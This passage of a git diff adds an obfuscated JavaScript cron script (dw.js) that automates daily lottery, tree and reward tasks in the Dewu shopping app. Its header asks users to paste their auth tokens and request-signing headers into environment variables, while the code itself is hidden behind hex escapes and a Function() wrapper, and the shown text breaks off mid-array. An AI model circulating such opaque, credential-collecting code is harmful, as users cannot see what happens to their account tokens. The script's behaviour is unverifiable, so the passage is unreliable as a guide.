7\x52\x63','\x4d\x56\x44\x78\x48','\x70\x75\x73\x68','\x46\x6f\x72\x4b\x65','\x65\x72\x43\x61\x73','\x5d\u767b\u5f55\u5931\u8d25','\x43\x75\x4e\x70\x42','\x4c\x46\x63\x7a\x55','\x45\x69\x69\x62\x73','\x6f\x46\x79\x56\x69','\x7a\x7a\x6d\x6e\x76','\x61\x62\x63\x64\x65','\x4a\x53\x6d\x58\x6e','\x55\x57\x5a\x6f\x41','\x45\x6f\x79\x4d\x50','\x4c\x6b\x53\x69\x78','\x6b\x76\x57\x62\x57','\x4c\x41\x59\x70\x6a','\x67\x65\x74\x50\x6f','\x63\x6f\x6d\x6d\x6f','\x53\x63\x56\x73\x4a','\x47\x65\x43\x6d\x68','\x4e\x56\x52\x49\x6b','\x48\x42\x4a\x72\x4c','\x77\x6e\x75\x70\x68','\x6e\x67\x74\x68','\x73\x74\x72\x32\x6a','\x74\x2f\x70\x2f\x76','\x54\x69\x59\x4a\x6c','\x65\x52\x65\x71\x4f','\x6d\x4c\x69\x73\x74','\x55\x7a\x47\x68\x4c','\x4c\x74\x6f\x68\x4c','\x75\x6e\x64\x65\x66','\x65\x4d\x73\x67','\x63\x38\x31\x35\x30','\x64\x65\x64','\x73\x65\x74\x64\x61','\x63\x6d\x70\x61\x6c','\x42\x65\x61\x72\x65','\x56\x5a\x43\x7a\x46','\x73\x74\x61\x72\x74','\u73b0\u5728\u8fd0\u884c\u7684','\x67\x65\x74\x4d\x61','\x74\x69\x6d\x65\x6f','\x36\x38\x2e\x30\x2e','\x42\x74\x4f\x61\x4e','\x58\x51\x6b\x57\x70','\x63\x68\x61\x72\x43','\x68\x74\x74\x70\x73','\x55\x72\x6c','\x2e\x6a\x73\x6f\x6e','\x7a\x47\x4d\x7a\x6e','\x69\x6e\x66\x6f','\x7c\x31\x7c\x33','\x3d\x3d\x3d','\x65\x73\x45\x79\x4c','\x76\x6f\x51\x79\x6c','\x55\x56\x57\x58\x59','\x2f\x6c\x65\x61\x66','\x75\x52\x4d\x7a\x72','\x67\x75\x70\x4d\x53','\x78\x4f\x48\x61\x7a','\x4a\x57\x42\x44\x6c','\x61\x64\x64\x77\x50','\x50\x73\x6e\x48\x73','\x2f\x63\x6f\x64\x65','\x3a\x2f\x2f\x6c\x65','\x76\x61\x6c\x69\x64','\u5df2\u5b8c\u6210','\x54\x63\x74\x43\x53','\x54\x5a\x68\x6f\x45','\x73\x69\x67\x6e\x3a','\x6f\x64\x65\x41\x74','\x41\x42\x43\x44\x45','\x74\x54\x79\x70\x65','\u5171\u627e\u5230','\x69\x6f\x73','\x68\x65\x61\x64\x65','\x49\x66\x56\x58\x59','\x66\x30\x31\x32\x33','\x4b\x63\x55\x42\x51','\x2e\x63\x6f\x64\x69','\x6d\x6f\x64\x75\x6c','\x70\x75\x74','\x55\x65\x7a\x72\x55','\x63\x6f\x64\x65','\x6c\x6c\x69\x73\x65','\x79\x7a\x30\x31\x32','\x76\x54\x70\x49\x4c','\x55\x53\x65\x42\x58','\x61\x49\x58\x61\x73','\x61\x75\x61\x50\x53','\x75\x72\x6c','\x35\x38\x37\x65\x79\x4f\x47\x65\x61','\x35\x32\x32\x39\x67\x6b\x4e\x53\x4f\x4b','\x46\x6e\x59\x7a\x68','\x6f\x70\x74\x73','\x6a\x77\x6a\x7a\x68','\x61\x63\x74\x69\x6f','\x43\x67\x58\x76\x6f','\x6d\x49\x49\x7a\x68','\x41\x63\x63\x65\x70','\x6e\x66\x6f','\x54\x69\x6d\x65','\x53\x41\x74\x6b\x4c','\x70\x73\x51\x72\x56','\x69\x75\x72\x59\x41','\x45\x48\x6d\x51\x48','\x69\x6e\x67','\x6a\x6b\x6c\x6d\x6e','\x63\x46\x67\x4c\x66','\x4d\x70\x78\x50\x51','\x67\x69\x74\x2f\x62','\x56\x66\x71\x48\x4a','\x67\x65\x74\x48\x6f','\x76\x61\x6c\x75\x65','\x51\x58\x76\x75\x76','\x67\x69\x66\x79','\x68\x67\x49\x48\x4a','\x58\x57\x49\x66\x68','\x72\x6d\x70\x6d\x69','\x64\x6e\x64\x77\x66','\x48\x77\x4b\x6a\x77','\x6b\x75\x41\x74\x43','\x53\x75\x64\x6a\x68','\x75\x57\x4c\x52\x6b','\x73\x65\x6e\x64','\x31\x39\x32\x2e\x31','\x43\x42\x57\x73\x67','\x69\x6e\x74\x65\x67','\x64\x4e\x6f\x74\x69','\x66\x78\x42\x42\x64','\x3d\x3d\x3d\x3d\x3d','\x65\x66\x67\x68\x69','\x4c\x66\x72\x41\x54','\x4d\x73\x67','\x6c\x65\x6e\x63\x6f','\x33\x34\x35\x36\x37','\x72\x71\x52\x62\x4b','\x38\x7c\x34\x7c\x33','\x65\x78\x65\x63','\x44\x6a\x4e\x6d\x59','\x6b\x6b\x79\x4a\x63','\x64\x65\x6c\x65\x74','\x73\x70\x6c\x69\x74','\x2e\x2f\x73\x65\x6e','\x6c\x61\x74\x65\x73','\x4a\x4b\x7a\x61\x66','\x72\x61\x6c','\x4e\x41\x58\x79\x58','\x6c\x6f\x61\x64\x64','\u7cfb\u7edf\u901a\u77e5\x20','\x6f\x6b\x68\x74\x74','\x6e\x6f\x74\x69\x66','\x42\x4e\x68\x79\x72','\x6a\x61\x78\x50\x65','\x59\x74\x5a\x57\x67','\x6a\x73\x6f\x6e\x32','\x73\x43\x6f\x64\x65','\x4a\x6b\x6f\x41\x7a','\x52\x47\x45\x43\x58','\x72\x69\x64','\x64\x61\x74\x61','\x46\x77\x56\x53\x6f','\x67\x65\x74\x54\x61','\u672a\u627e\u5230\x43\x4b','\x78\x62\x62\x55\x48','\x6c\x6c\x59\x65\x61','\x72\x74\x47\x72\x72','\u5217\u8868\u5931\u8d25\x3a','\x6f\x70\x71\x72\x73','\x5a\x45\x47\x79\x74','\x43\x6f\x6e\x6e\x65','\x68\x61\x72\x43\x6f','\x75\x72\x73','\x58\x63\x6a\x6a\x48','\x73\x6f\x6e','\x65\x70\x6f\x74\x2f','\x5a\x65\x63\x77\x42','\x72\x65\x63\x74','\x4c\x6e\x59\x6a\x41','\x5f\x6b\x65\x79\x53','\x50\x59\x71\x77\x41','\x6f\x4b\x4c\x76\x63','\x69\x6e\x64\x65\x78','\x63\x6f\x6e\x64\x73','\x4f\x62\x4f\x69\x4a','\x69\x74\x65','\x54\x58\x4f\x5a\x49','\x5f\x65\x6e\x63\x6f','\x62\x54\x4d\x76\x79','\x6a\x52\x4f\x4f\x6f','\x73\x65\x74\x76\x61','\x77\x72\x69\x74\x65','\x38\x39\x2b\x2f\x3d','\x34\x35\x33\x36\x34\x37\x37\x47\x42\x6d\x4d\x51\x41','\x72\x65\x64\x2d\x64','\x67\x65\x74\x64\x61','\x70\x61\x72\x73\x65','\x61\x79\x2f\x70\x67','\x73\x69\x67\x6e','\x32\x37\x34\x38\x6e\x61\x74\x52\x47\x49','\x64\x6f\x6e\x65','\x64\x43\x6f\x64\x65','\x53\x75\x52\x57\x6a','\x67\x61\x74\x65\x77','\x6b\x69\x65','\x67\x65\x74\x44\x61','\x47\x4f\x4f\x54\x76','\x67\x65\x74\x4d\x65','\x67\x75\x45\x7a\x6d','\x35\x38\x66\x30\x33','\x59\x4a\x6a\x52\x6c','\x55\x73\x65\x72\x2d','\x2f\x78\x6a\x62\x77','\x7c\x30\x7c\x31','\x74\x53\x4e\x75\x4b','\x79\x58\x6a\x6a\x48','\x5f\x75\x74\x66\x38','\x72\x75\x6c\x65','\x4a\x71\x78\x62\x4d','\x63\x43\x4b\x4f\x6c','\x55\x4e\x7a\x48\x4b','\x68\x69\x6e\x74\x73','\x6e\x74\x5f\x74\x69','\x69\x6f\x48\x5a\x78','\x5d\u7b7e\u5230\x3a\x20','\x73\x4c\x63\x56\x64','\x78\x6a\x43\x42\x43','\x6c\x6f\x62\x2f\x6d','\x69\x73\x4c\x6f\x6f','\x33\x36\x38\x32\x39\x32\x35\x74\x68\x49\x69\x58\x66','\x6c\x6f\x64\x61\x73','\x67\x65\x74\x4d\x6f','\x6d\x73\x67','\x77\x61\x69\x74','\x6e\x5f\x73\x69\x67','\x67\x65\x77\x70\x48','\x32\x7c\x35\x7c\x36','\x4f\x7a\x63\x44\x62','\x6c\x6f\x67','\x73\x65\x6e\x64\x4e','\x6c\x65\x6e\x67\x74','\x4b\x6d\x4f\x44\x76','\x63\x68\x61\x72\x41','\x6e\x74\x2d\x4c\x65','\x63\x48\x65\x70\x51','\x70\x77\x6a\x58\x5a','\x50\x70\x72\x4d\x4e','\x4b\x45\x46\x57\x7a','\x58\x57\x77\x53\x6b','\x72\x61\x77\x2f\x6d','\x6e\x50\x41\x70\x52','\x69\x42\x6a\x4a\x58','\x52\x51\x53\x4c\x58','\x74\x68\x65\x6e','\x72\x65\x61\x64','\x62\x61\x4c\x63\x6d','\x6c\x57\x4c\x48\x42','\x54\x57\x7a\x61\x5a','\x7c\x35\x7c\x31\x7c','\x74\x69\x6d\x65','\x63\x2f\x76\x32\x2f','\x41\x6c\x6f\x4b\x49','\x62\x73\x42\x62\x6d','\x41\x75\x74\x68\x6f','\x58\x58\x79\x74\x54','\x49\x43\x42\x56\x78','\x6f\x6d\x54\x63\x6d','\x0a\x3d\x3d\x3d\x3d','\x20\u63a8\u9001\x20\x3d','\x6e\x4d\x73\x67','\x43\x47\x74\x47\x69','\x34\x35\x36\x37\x38','\x6d\x65\x74\x68\x6f','\x69\x46\x75\x62\x69','\x67\x65\x74','\x52\x6a\x72\x45\x70','\x62\x75\x6f\x5a\x50','\uff0c\u79ef\u5206','\x74\x63\x52\x79\x6a','\x65\x78\x74\x65\x6e','\u8d26\u53f7\x5b','\x63\x65\x66\x59\x66','\x31\x30\x30\x30\x31','\x6d\x65\x6d\x62\x65','\x52\x6a\x49\x75\x52','\x70\x4f\x64\x42\x71','\x6a\x65\x51\x52\x53','\x67\x6b\x6e\x65\x4d','\x6e\x2f\x78\x2d\x77','\x77\x59\x63\x61\x45','\x73\x4c\x48\x4d\x74','\x77\x4d\x6e\x53\x74','\x4e\x54\x61\x6d\x6e','\x34\x7c\x32\x7c\x31','\x76\x52\x59\x65\x5a','\x70\x6f\x73\x74','\x72\x65\x77\x61\x72','\x63\x72\x65\x61\x74','\u5931\u8d25\x3a\x20','\x69\x73\x4e\x65\x65','\x41\x78\x4c\x6b\x58','\x52\x50\x70\x5a\x79','\x6e\x67\x2e\x6e\x65','\x78\x5a\x4f\x45\x58','\x74\x6f\x4c\x6f\x77','\x73\x74\x72','\x63\x4c\x64\x51\x42','\x66\x6f\x6c\x6c\x6f','\x68\x67\x7a\x59\x57','\x73\x74\x61\x74\x75','\x6e\x3a\x31','\x2f\x67\x69\x74\x2f','\x67\x50\x6d\x7a\x49','\x79\x63\x50\x49\x45','\x72\x6d\x2d\x75\x72','\x74\x6f\x55\x70\x70','\x55\x6c\x6d\x76\x76','\x62\x52\x51\x74\x48','\x6e\x74\x49\x64','\x73\x74\x72\x69\x6e','\x6e\x74\x2d\x54\x79','\x75\x4f\x4d\x50\x6f','\x77\x69\x72\x55\x67','\x31\x7c\x33\x7c\x35','\x69\x73\x53\x75\x72','\x6f\x70\x65\x6e\x2d','\x20\u8fd0\u884c\u7ed3\u675f','\x6a\x76\x6d\x6d\x77','\x5f\x64\x65\x63\x6f','\x62\x6f\x49\x55\x6c','\x78\x63\x79\x2f\x70','\x5d\x20\x3d\x3d\x3d','\x64\x74\x43\x6f\x6f','\x72\x4b\x65\x79','\x71\x68\x67\x4a\x78','\x72\x69\x70\x74\x69','\x73\x68\x6f\x77\x6d','\x3d\x20\u8d26\u53f7\x5b','\x7a\x45\x48\x4c\x55','\x4c\x4b\x46\x73\x71','\x3d\x3d\x3d\x3d','\x74\x75\x76\x77\x78','\x61\x73\x74\x65\x72','\x6e\x4f\x57\x47\x75','\x6f\x70\x65\x6e\x55','\u6ca1\u6709\u83b7\u5f97\u79ef','\x6e\x63\x65','\x64\x48\x4c\x72\x61','\x6e\x61\x6d\x65','\x6a\x71\x4b\x55\x66','\x66\x46\x41\x5a\x66','\x50\x63\x78\x4b\x54','\x61\x6d\x65','\x73\x72\x47\x61\x51','\x61\x6c\x69\x64\x63','\x6d\x65\x73','\x41\x6c\x69\x76\x65','\x68\x58\x59\x73\x59','\x4b\x41\x46\x62\x6f','\u672a\u5b8c\u6210','\x69\x2e\x64\x75\x74','\x79\x4c\x50\x49\x7a','\x67\x65\x2d\x53\x6b','\uff0c\u6700\u65b0\u811a\u672c','\x74\x69\x4d\x55\x65','\x68\x4b\x45\x45\x68','\x43\x77\x59\x47\x4b','\x38\x34\x62\x33\x31','\x48\x59\x76\x49\x68','\x20\u8fd0\u884c\u901a\u77e5','\x63\x6f\x6e\x74\x65','\x41\x67\x65\x6e\x74','\x69\x70\x2d\x53\x63','\x4b\x58\x7a\x49\x58','\x74\x6f\x53\x74\x72','\x58\x50\x7a\x4f\x57','\x70\x69\x67\x52\x6d','\x67\x65\x74\x46\x75','\x45\x6a\x4e\x77\x49','\x5d\u79ef\u5206\x3a\x20','\x65\x57\x6c\x6a\x7a','\x38\x46\x56\x50\x4b\x4a\x67','\x4a\x69\x45\x47\x4c','\x66\x65\x74\x63\x68','\x69\x73\x51\x75\x61','\x7a\x7a\x62\x75\x77','\x6f\x64\x69\x6e\x67','\x62\x6f\x64\x79','\x5a\x61\x62\x63\x64','\x2e\x63\x6f\x6d\x2f','\x4e\x75\x46\x51\x49','\x65\x56\x44\x47\x6c','\x74\x56\x65\x72\x73','\x4d\x6d\x4e\x79\x67','\x6c\x48\x6f\x62\x5a','\x61\x73\x6b','\x64\x52\x65\x77\x72','\x6b\x59\x49\x47\x46','\x46\x62\x5a\x58\x48','\x7a\x53\x4d\x67\x72','\x53\x57\x56\x69\x70','\x78\x58\x50\x75\x58','\x2d\x75\x72\x6c','\x67\x54\x70\x57\x6b','\x73\x74\x61\x74\x65','\x66\x52\x73\x69\x6c','\x43\x72\x4d\x78\x76','\x5d\u5b8c\u6210\u4efb\u52a1','\x50\x70\x70\x73\x74','\x74\x70\x47\x4b\x47','\x41\x74\x46\x6c\x6f','\x69\x73\x4e\x6f\x64','\x2f\x76\x61\x6c\x69','\x65\x42\x6b\x43\x75','\x65\x79\x6d\x4a\x77','\x67\x42\x58\x76\x4d','\x61\x70\x70\x2f\x6d','\x53\x50\x6f\x77\x48','\x73\x75\x62\x73\x74','\x58\x58\x7a\x4e\x52','\x74\x2d\x45\x6e\x63','\x6b\x65\x79\x73','\x79\x4c\x58\x71\x41','\x5d\u767b\u5f55\u6210\u529f','\x6a\x50\x56\x56\x55','\x54\x68\x4e\x43\x4e','\x34\x33\x33\x30\x50\x5a\x74\x65\x55\x66','\x6d\x62\x65\x72\x3a','\x48\x6f\x73\x74','\uff0c\u5171\u8fd0\u884c\u4e86','\x61\x74\x61','\x32\x33\x34\x30\x35\x38\x32\x51\x53\x66\x6e\x6d\x54','\x44\x57\x79\x57\x4a'];_0x3782=function(){return _0x11bb1c;};return _0x3782();}
\ No newline at end of file
diff --git a/dw.js b/dw.js
new file mode 100644
index 00000000..fa15098a
--- /dev/null
+++ b/dw.js
@@ -0,0 +1,33 @@
+/*
+------------------------------------------
+const $ = new Env("得物每日任务");
+@Author: sm
+@Date: 2024.06.07 19:15
+@Description: 得物每日抽奖 心愿海洋 海洋夺宝 摇一摇 0元抽 上上签 盲盒 种树等
+cron: 9 10,14,19 * * *
+------------------------------------------
+尽量把dewuUserAgent 和 dewuSK 填写在配置文件中 否则可能会报错
+export dewuUserAgent="AAA"
+export dewuSK="BBB"
+
+#Notice: 依赖 crypto-js axios jsencrypt
+变量名称:dewu
+变量值:https://app.dewu.com/ 请求头x-auth-token的值(去掉Bearer) #Cookie duToken的值 多账号&或换行符分隔
+例如 eyJxxxxxx#3e70axxxx39a4ce54b423331cbf5fxxxbb|15882362958|17465454869|77690575757575868687678ea1f8b|1-0|5a57677ca34
+
+dewuUserAgent 变量:请求头User-Agent的值 此值无需多变量 (自己去得物星愿森林 点击浇水 抓 https://app.dewu.com/hacking-tree/v1/tree/watering 中的Useragent 和SK)
+例如 Mozilla/5.0 (Linux; Android 10; XXXXX Build/QKQ1.190910.002; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/80.0.3987.99 Mobile Safari/537.36/duapp/5.43.0(android;10)
+
+dewuSK 变量:请求头SK的值 此值无需多变量
+例如 9OuZQYmxxxxxxxxxxxxbCxxxxxxxxxxD2h1y
+⚠️【免责声明】
+------------------------------------------
+1、此脚本仅用于学习研究,不保证其合法性、准确性、有效性,请根据情况自行判断,本人对此不承担任何保证责任。
+2、由于此脚本仅用于学习研究,您必须在下载后 24 小时内将所有内容从您的计算机或手机或任何存储设备中完全删除,若违反规定引起任何事件本人对此均不负责。
+3、请勿将此脚本用于任何商业或非法目的,若违反规定请自行对此负责。
+4、此脚本涉及应用与本人无关,本人对因此引起的任何隐私泄漏或其他后果不承担任何责任。
+5、本人对任何脚本引发的问题概不负责,包括但不限于由脚本错误引起的任何损失和损害。
+6、如果任何单位或个人认为此脚本可能涉嫌侵犯其权利,应及时通知并提供身份证明,所有权证明,我们将在收到认证文件确认后删除此脚本。
+7、所有直接或间接使用、查看此脚本的人均应该仔细阅读此声明。本人保留随时更改或补充此声明的权利。一旦您使用或复制了此脚本,即视为您已接受此免责声明。
+*/
+Function("MvM5jOa","var So9fYcu,vo5ybrc,y2jwy3,pBBD3do,NHEajH,x3sl6HQ,pbtMmK,eF1xnU,CNKMODU,bUU4SPI,Y8ZoRlG,V3cZ5eT,iREyT3,YzzcNlF;const Cj_I_N=[\"\\u006c\\u0065\\u006e\\u0067\\u0074\\u0068\",0x0,\"\\x63\",0x1,0x3,null,0x20,0x2,0x97,0x100,\"\\u0061\",0x6,0x8,0x10,0x4,\"\\x75\\x6e\\x64\\x65\\x66\\x69\\x6e\\x65\\x64\",\"\\u004c\\u005a\\u0053\\u0074\\u0072\\u0069\\u006e\\u0067\",0x8b,\"\\x62\",0xc6,0xa5,\"\\u0065\",\"\\x66\",0xff,0x7,0xd,0xe,0xf,0x58,0x5b,\"\\x64\",0xb,0x4a4,0x80,0x6a,0x49,void 0x0,0x74,0xa1,0x7f,0xdf,0x1f,0x3f,0xef,0xc,0x4aa,0x12,0x4a0,0x5,0xc8,\"\\u0068\",0x62,0x1fff,0x67,0x68,0x9,0x38,\"\\u0067\",0x69,0x6b,0x6c,0x6d,0x6e,0x6f,0x9a,0x84,0xa8,0x5a,0x1b,0x70,0xb0,0xdb,0xcc,0x71,0x72,0x73,0x75,0x76,0x77,0x78,0x79,0x7a,0x7b,0x7c,0x7d,0x7e,0x81,0x82,0x83,0x85,0x86,0x87,0x88,0x89,0x8a,0x8c,0x8d,0x8e,0x8f,0x90,0x91,0x92,0x93,0x94,0x95,0x96,0x98,0x99,0x9b,0x9c,0x9d,0x9e,0x9f,0xa0,0xa2,0xa3,0xa4,0xa6,0xa7,0xa9,0xaa,0xab,0xac,0xad,0xae,0xaf,0xb1,0xb2,0xb3,\"\\u0079\",0xb4,0xb5,0xb6,0xb7,0xb8,0xb9,0xba,0xbb,0xbc,0xbd,0xbe,0xbf,0xc0,0xc1,0xc2,0xc3,0xc4,0xc5,0xc7,0xc9,0xca,0xcb,0xcd,0xce,0xcf,0xd0,0xd1,0xd2,0xd3,0xd4,0xd5,0xd6,\"\\u0059\",0xd7,0xd8,\"\\u0052\",0xd9,0xda,0xdc,0xdd,0xde,\"\\u0045\",0xe0,0xe1,0xe2,0xe3,0xe4,0xe5,0xe6,0xe7,0xe8,\"\\x4c\",0xe9,0xea,0xeb,0xec,0xed,0xee,\"\\u0047\",0xf0,0xf1,0x2d,0x1d,0xf2,0xf3,0xf4,0xf5,0xf6,0xf7,0xf8,0x61,0x2b,0xf9,0x3c,0xfa,\"\\u0078\",0xfb,0xfc,0xfd,0xfe,0x101,0x102,0x103,0x104,0x105,\"\\x57\",0x106,0x107,0x108,0x109,0x10a,0x10b,0x18,0x4b,0x34,0x10c,0x10d,0x10e,0x10f,0x110,0x111,0x45,0x112,0x113,0x114,0x115,!0x1,0x52,\"\\u0069\",0x116,0x117,0x118,0x119,0x11a,0x11b,0x11c,\"\\u0073\\u0074\",0x11d,0x11e,\"\\u0031\",0x11f,0x120,0x121,0x122,0x123,0x124,0x125,0x126,0x127,0x128,0x129,0x12a,0x12b,0x12c,0x12d,0x12e,0x12f,0xa,0x130,0x131,0x132,0x133,0x134,0x135,0x136,0x137,\"\\u006e\\u0067\",0x138,0x139,0x13a,0x14,0x13b,0x4f,0x2a,0x3b,0x13c,0x13d,0x13e,0x13f,0x140,0x141,0x142,0x143,0x200,0x144,0x47,0x145,0x146,0x147,0x148,0x149,0x14a,0x14b,0x14c,0x14d,0x14e,0x14f,0x5d,0x150,0x151,0x4a,0x152,0x55,0x153,0x3ff,0x154,0x155,0x13,0x156,0x157,0x57,0x35,0x11,0x2e,0x158,0x16,0x19,0x1c,0x22,0x27,0x29,0x3d,0x159,0x15a,0x15b,0x40,0xffff,0x48,0x15c,0x15d,0x15e,\"\\x56\",0x15f,0x160,0x161,0x162,0x163,0x164,0x21,0x165,0x166,0x167,0x168,0x169,0x16a,0x16b,0x16c,0x16d,0x16e,0x16f,0x170,0x171,0x172,0x173,0x174,\"\\u0051\",0x175,0x176,0x177,0x178,0x179,0x17a,0x2c,0x17b,0x17c,\"\\u0044\",0x17d,0x17e,0x17f,0x180,0x181,0x182,\"\\u004b\",0x183,0x184,0x185,0x186,0x187,0x188,0x189,0x18a,0x18b,\"\\u0073\",0x18c,0x18d,0x18e,0x18f,0x190,0x191,0x192,0x193,0x194,0x195,!0x0,0x4c,0x196,0x197,0x198,0x199,0x19a,0x19b,0x19c,0x19d,0x19e,0x3e,0x19f,0x1a0,0x39,0x1a1,0x1a2,0x1a3,0x1a4,0x3e8,0x1a5,\"\uD83D\uDD14\",0x1a6,0x1a7,\"\\u0020\",0x1a8,0x1a9,0x1aa,0x1ab,0x1ac,0x1ad,0x1ae,0x1af,0x1b0,0x1b1,0x1b2,\"\\u0070\",0x1b3,0x1b4,0x1b5,0x1b6,0x1b7,0x2f,0x1b8,0x36363636,0x5c5c5c5c,0x1b9,0x1ba,0x1bb,0x1bc,0x1bd,0x1be,0x1bf,0x1c0,0x1c1,0x1c2,0x1c3,0x1c4,0x1c5,0x1c6,0x1c7,0x65,0x1c8,0x1c9,0xd800,0xdbff,0xdc00,0xdfff,0x10000,0x1ca,0x7ff,0x1fffff,0x1cb,0x428a2f98,0x71374491,0x4a3f0431,0x164a245b,0x3956c25b,0x59f111f1,0x6dc07d5c,0x54e3a12b,0x27f85568,0x12835b01,0x243185be,0x550c7dc3,0x72be5d74,0x7f214e02,0x6423f959,0x3e640e8c,0x1b64963f,0x1041b87a,0xfc19dc6,0x240ca1cc,0x2de92c6f,0x4a7484aa,0x5cb0a9dc,0x76f988da,0x67c1aeae,0x57ce3993,0x4ffcd838,0x40a68039,0x391ff40d,0x2a586eb9,0x6ca6351,0x14292967,0x27b70a85,0x2e1b2138,0x4d2c6dfc,0x53380d13,0x650a7354,0x766a0abb,0x7e3d36d2,0x6d8dd37b,0x5d40175f,0x57e599b5,0x3db47490,0x3893ae5d,0x2e6d17e7,0x2966f9dc,0xbf1ca7b,0x106aa070,0x19a4c116,0x1e376c08,0x2748774c,0x34b0bcb5,0x391c0cb3,0x4ed8aa4a,0x5b9cca4f,0x682e6ff3,0x748f82ee,0x78a5636f,0x7b3787ec,0x7338fdf8,0x6f410006,0x5baf9315,0x41065c09,0x398e870e,0x6a09e667,0x4498517b,0x3c6ef372,0x5ab00ac6,0x510e527f,0x64fa9774,0x1f83d9ab,0x5be0cd19,0x1cc,0x1cd,0x1ce,0x1cf,0x1e,0x1d0,0x1d1,0x1d2,0x1d3,0x1d4,0x1d5,0x1d6,0x1d7,0x1d8,0x1d9,0x1da,0x1db,0x25,0x36,0x26,0x1dc,0x1dd,0x1de,0x1df,0x1e0,0x1e1,0x1e2,0x17,0x1e3,0x1e4,0x1e5,0x1e6,0x1e7,0x1e8,0x1e9,0x1ea,0x1eb,0x1ec,0x1ed,0x1ee,0x1ef,\"\\x74\\x68\",\"\\u0053\",0x1f0,0x1f1,0x1f2,0x1f3,0x1f4,0x1f5,0x1f6,0x1f7,0x1f8,0x1f9,\"\\u0024\\u0031\",0x1fa,\"\\u0029\",0x1fb,0x1fc,0x1fd,0x30,0x1fe,0x1ff,0x201,0x202,0x203,0x204,\"\\x32\",0x205,0x206,0x207,0x208,0x209,0x20a,0x20b,0x20c,0x20d,0x20e,0x20f,0x210,0x211,0x212,0x51,0x213,0x214,0x215,0x216,0x217,0x64,0x218,0x219,0x21a,0x21b,0x21c,0x21d,0x21e,0x21f,0x220,0x221,0x222,0x223,0x224,0x225,0x226,0x227,0x228,0x229,0x22a,0x22b,\"\\u0026\",0x22c,0x22d,\"\\x3d\",0x22e,0x22f,0x230,0x231,0x232,0x233,0x234,0x235,0x236,0x237,0x10001,0x238,0x239,0x23a,0x23b,0x23c,0x23d,0x23e,0x23f,0x240,0x241,0x242,0x243,0x244,0x245,\"\\u0074\",0x246,0x247,0x248,0x249,0x24a,0x24b,0x24c,0x24d,0x24e,0x24f,0x250,0x251,0x252,0x253,0x254,0x255,0x256,0x257,0x258,0x259,0x25a,0x25b,0x25c,0x25d,0x25e,0x25f,0x260,0x261,0x262,0x263,0x264,0x265,0x266,0x267,0x268,0x269,0x26a,0x26b,0x26c,0x26d,0x26e,0x26f,0x270,0x271,0x272,0x273,0x274,0x275,0x276,0x277,0x278,0x279,\"\\u006f\",0x27a,0x27b,0x27c,0x27d,0x27e,0x27f,0x280,0x281,0x282,0x283,0x284,0x285,\"\\x6a\",0x286,0x287,0x288,0x289,0x28a,0x28b,0x28c,0x28d,0x28e,0x28f,0x290,0x291,0x292,0x293,0x294,0x295,0x296,0x297,0x298,0x299,0x29a,0x29b,0x29c,0x29d,0x29e,0x29f,0x2a0,0x2a1,0x2a2,0x2a3,0x2a4,0x2a5,\"\\u0073\\u0065\",0x2a6,0x2a7,0x2a8,0x2a9,0x2aa,0x2ab,0x2ac,0x2ad,0x2ae,0x2af,0x2b0,0x2b1,0x2b2,0x2b3,0x2b4,0x2b5,0x2b6,0x2b7,0x2b8,0x2b9,0x2ba,0x2bb,0x2bc,0x2bd,0x2be,0x2bf,0x2c0,0x2c1,0x2c2,0x2c3,\"\\x69\\x76\",0x2c4,0x2c5,0x2c6,0x2c7,0x2c8,0x2c9,0x2ca,0x2cb,0x2cc,0x2cd,0x2ce,0x24,0x2cf,\"\\x6d\",0x2d0,0x2d1,0x2d2,0x2d3,0x2d4,0x2d5,0x2d6,0x2d7,\"\\x0a\",0x2d8,0x2d9,0x2da,0x2db,0x2dc,0x2dd,0x2de,0x2df,0x2e0,0x2e1,0x2e2,0x2e3,0x2e4,\"\\u003d\\u003d\",0x2e5,0x2e6,0x2e7,0x2e8,0x2e9,0x2ea,0x2eb,0x2ec,0x2ed,0x2ee,0x2ef,0x2f0,0x2f1,\"\\u006e\",0x2f2,0x2f3,0x2f4,0x2f5,0x2f6,0x2f7,0x2f8,0x2f9,0x2fa,0x2fb,0x2fc,0x2fd,0x2fe,0x2ff,0x300,0x301,0x302,0x303,0x304,0x305,0x306,0x307,0x308,0x309,0x30a,0x30b,0x30c,0x30d,0x30e,0x30f,0x310,0x311,0x312,0x313,0x314,0x315,0x316,0x317,0x318,0x319,0x31a,0x31b,0x31c,0x31d,0x31e,0x31f,0x320,0x321,0x322,0x323,0x324,0x325,0x326,0x327,0x328,0x329,0x32a,0x32b,0x32c,0x32d,0x32e,0x32f,0x330,0x331,0x332,0x333,0x334,0x335,0x336,0x337,0x338,0x339,0x33a,0x33b,0x33c,0x33d,0x33e,0x33f,0x340,0x341,0x342,0x343,0x344,0x345,0x346,0x347,0x348,0x349,0x34a,0x34b,0x34c,0x34d,0x34e,0x34f,0x350,0x351,0x352,0x353,0x354,0x355,0x356,0x357,0x358,0x359,\"\\u005d\",0x35a,0x35b,0x35c,0x35d,0x35e,0x35f,0x360,0x361,0x362,0x363,0x364,\"\\u0069\\u0064\",0x365,0x366,0x367,0x368,0x369,0x36a,0x36b,0x36c,0x36d,0x36e,0x36f,0x370,0x371,0x372,0x373,0x374,0x375,0x376,0x377,0x378,0x379,0x37a,0x37b,0x37c,0x37d,0x37e,0x37f,0x380,0x381,0x382,0x383,0x384,\"\\x6c\",0x385,0x386,0x387,0x388,0x389,0x38a,0x38b,\"\\x70\\x65\",0x38c,0x38d,0x38e,0x38f,0x390,0x391,0x392,0x393,0x394,0x395,0x396,0x397,0x398,0x399,\"\\u006e\\u003d\",0x39a,0x39b,0x39c,0x39d,0x39e,0x39f,0x3a0,0x3a1,0x3a2,0x3a3,0x3a4,0x3a5,0x3a6,0x3a7,0x3a8,0x3a9,0x3aa,0x3ab,0x3ac,0x3ad,0x3ae,0x3af,0x3b0,0x3b1,0x3b2,0x3b3,0x3b4,\"\u6210\u529F\",0x3b5,0x3b6,0x3b7,0x3b8,0x3b9,0x3ba,0x3bb,0x3bc,0x3bd,\"\\x46\",0x3be,0x3bf,0x3c0,0x3c1,0x3c2,0x3c3,0x3c4,0x3c5,0x3c6,0x3c7,0x3c8,0x3c9,0x3ca,0x3cb,\"\\u0068\\u0035\",0x3cc,0x3cd,0x3ce,0x3cf,\"\\x2b\\x29\",0x3d0,\"\\u0065\\u0079\",0x3d1,0x3d2,0x3d3,0x3d4,0x3d5,0x3d6,0x3d7,0x3d8,0x3d9,0x3da,0x3db,0x3dc,0x3dd,0x3de,0x3df,0x3e0,0x3e1,0x3e2,0x3e3,\"\\x73\\x6b\",0x3e4,0x3e5,0x3e6,0x3e7,0x3e9,0x3e